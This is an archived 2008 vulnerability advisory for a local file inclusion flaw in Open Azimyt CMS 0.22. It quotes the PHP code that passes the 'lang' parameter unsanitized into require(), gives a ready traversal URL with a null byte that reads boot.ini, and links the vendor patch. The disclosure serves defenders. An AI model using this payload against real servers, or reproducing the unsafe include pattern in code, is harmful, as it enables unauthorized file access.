Open Azimyt CMS 0.22 - 'lang' Local File Inclusion

Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-026


Application:                    Open Azimyt CMS
Versions Affected:              0.22 minimal, 0.21 stable
Vendor URL:                     http://azimyt.net/
Bug:                            Local File Include
Exploits:                       YES
Reported:                       07.06.2008
Vendor Response:                08.06.2008
Solution:                       YES
Date of Public Advisory:        16.06.2008
Author:                         Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Local File Include vulnerability found in script azimyt/lang/lang-system.php


Code
****
#################################################

if(isset($_GET['lang'])){
  $_SESSION['lang']=$_GET['lang'];
}

if(!isset($_SESSION['lang'])){
  $_SESSION['lang'] = "second";
}

if (isset($_SESSION['lang']))
{
  $SystemLangFile = $CFG->admin_folder."/lang/lang-system-".$_SESSION['lang'].".php";
  if(!file_exists($SystemLangFile)) exit(ErrorLang::LangFile_not_load);
  require($SystemLangFile);
}

#################################################


Example:

http://[server]/[installdir]/azimyt/lang/lang-system.php?lang=../../../../../../../../../../../../../boot.ini%00



Fix Information
***************

Vendor fixed this flaw on 10.06.2008. Patch  can be downloaded here:

http://open-azimyt-cms.googlecode.com/files/security_patch.zip





About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:    research [at] dsec [dot] ru
            http://www.dsec.ru (in Russian)

# milw0rm.com [2008-06-16]